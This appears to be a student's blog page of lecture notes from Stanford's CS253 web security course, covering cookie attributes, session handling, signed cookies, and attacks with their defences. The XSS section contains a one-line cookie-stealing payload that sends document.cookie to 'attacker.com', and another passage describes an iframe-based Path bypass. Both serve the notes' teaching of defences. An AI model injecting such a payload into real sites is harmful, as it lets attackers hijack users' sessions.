Alex's Notes

CS253 Lecture Summaries: Part III: Cookies

Part of Web Security - Stanford CS 253

Cookies

TL;DR set your cookie like this:

Set-Cookie: key=value; Secure; HttpOnly; Path=/; SameSite=Lax; Expires=Fri, 1 Nov 2022 00:00:00 GMT

Where the date is c. 30 days in the future.

Now for the rest…

Implemented in 1994 in Netscape, described in a 4 page draft.

No spec for 17 years. People kept trying to do more than describe reality, didn’t just try to normalize current behaviour.

Around 2011 an attempt finally succeeded (RFC 6265), now the browsers actually follow this.

Security models for cookies is actually different from the rest of the web as we’ll see later.

Server sets a cookie on the client:

Set-Cookie: theme=dark

Note the way to clear a cookie is just to set an expiry date in the past, there’s no other method to ‘clear’ a cookie.

Cookie Attributes

Expires Specifies expiration date, if no date, then lasts for browser session. In practice browsers save extra session info beyond the web spec. Browsers will save cookies beyond session too, so clear it explicitly. Sites can set Expires to a very far future date, but it’s not good practice, just re-set it on a future visit.

Path Scope the Cookie header to a particular path prefix. eg Path=/docs will match /docs and /docs/Web. The Path idea is broken for security.

Domain Allows the cookie to be scoped to a domain broader than the domain that returned the Set-Cookie header. eg login.stanford.edu could set a cookie for stanford.edu. Otherwise they’re scoped to subdomain by default.

Set like this:

Set-Cookie: theme=dark; Expires=<date>;

Sessions

Cookies are used by the server to implement sesssions. The goal: keep a set of data related to the user’s current browsing session. EG logins, shopping carts, user tracking.

The idea behind this is ambient authority - access control based on a global and persistent property of the requester. The alternative is explicit authorization valid only for a specific action

There are four types of ambient authority on the web:

Cookies - most common, versatile method.

IP Checking - used eg for access within a network.

Built-in HTTP authentication - rarely used. It produces a weird pop up in the browser on the user end, so didn’t get used.

Client certificates - rarely used.

Signing Cookies

Let’s say we were setting a cookie to indicate a user logged in and the value was just the username. Then anyone could just set their cookie to that username and be logged in from the server’s perspective.

Slightly more secure is to sign the cookie.

In signing we have three algorithms (G,S,V). G is the generator, S is the signer, V is the verifier.

G() -> (pk, sk) generator returns public key and secret key.

S(sk, x) -> t signing returns a tag t for input x. The tag will be a string, that can be used to verify that x has not been changed.

V(pk, x, t) -> accept|reject checks validity of tag t for input x.

We want two things from a signature scheme:

Correctness property - V(pk, x, S(sk, x)) = accept should always be true.

Security property - V(pk, x, t) = accept should almost never be true when x and t are chosen by the attacker.

How will this be used in cookies?

The server will call G(), get the pk and sk.

Client will log in. Server validates login, and then sign the username with the secret key. It then sets both cookies:

Set-Cookie: username=alice; Set-Cookie: tag=t

Then the browser sends the request with the cookies. The server can run the username and tag through the verification algorith to check that the username is valid and the tag is correct.

The express implementation of this doesn’t actually set two cookies, it just sets a single cookie with the value and signature in one string.

But there’s still a problem, malware could grab my signed cookie and still log in. If it’s a set signature scheme they could be me forever.

Signing is useful if you want to guarantee a value (like a discount you’ve offered), but not really here.

Here’s another approach.

We could, when a user logs in, allocate a unique session id - a GUID say, and remember that value. Then we can recognize the user for as long as we want to keep the user logged in. If they log out, or we want to expire the session, we kill the session id.

Here’s one way to do it in Node using the node crypto module’s randomBytes method:

const sessionId = randomBytes(16).toString('base64')

Now it’s not possible to guess another user’s name or session id and access their account.

Cookies in JavaScript

document.cookie = 'name=Alex'
// does not overwrite! adds a new cookie
document.cookie = 'favouriteFood=Cookies; Path=/'

document.cookie
// returns both cookies

//API to clear a cookie from JS!
document.cookie = 'name=; Expires=Thu, 01 Jan 1970 00:00:00 GMT'

Attacks:

Session hijacking Attacker steals a cookie to impersonate them.

Sending cookies over HTTP is a very bad idea, if anyone sees the cookie they can use it to hijack the user’s session. Attacker sends victim’s cookie and server is fooled.

It used to be common to just put HTTPS on their login so you couldn’t see the password, but then the rest would be http, so the session id was in plain text. That’s not common any more.

Defence to session hijacking:

Use the Secure cookie attribute to prevent cookie from being sent over unencrypted HTTP connections:

Set-Cookie: key=value; Secure

Then the cookie will never be sent over HTTP. Better to use HTTPS everywhere.

Cross Site Scripting

If the site is vulnerable to XSS then the attacker can insert their script on the page, and get the cookie via JS.

eg new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie

This sends a request back to the attacker’s server with the cookie string.

Defence to XSS:

Use the HttpOnly attribute to prevent the cookie beign read from JS:

Set-Cookie: key=value; Secure; HttpOnly

Now the JS can’t see the cookie, it’s only sent via http.

Cookie Path bypass

Do not use Path for security

Path does not protect against unauthorized reading of the cookie from a different path on the same origin.

Can be bypassed using an <iframe> with the path of the cookie.

Then read iframe.contentDocument.cookie

Allowed by Same Origin Policy if you’re on the same domain, so only use Path for performance optimization.

Always unsafe to rely on Path, cookies can only be accessed by equal or more specific domains, so use a subdomain. ie stanford.edu cannot access cs253.stanford.edu but the subdomain can access the domain.

The default value for Path if you don’t set it is the path that you’re currently on, watch out for that, you may want to set path to ‘/'.

So a default ‘secure’ cookie might look like this:

Set-Cookie: key=value; Secure; HttpOnly; Path=/

why better than omitting Path? Because it’s explicitly accessible on the whole site, no surprises.

How long should cookies last? Use a reasonable date - 30-90 days. You can set the cookie with each response to restart the 30 day counter, so users aren’t logged out even with the shorter timeframe.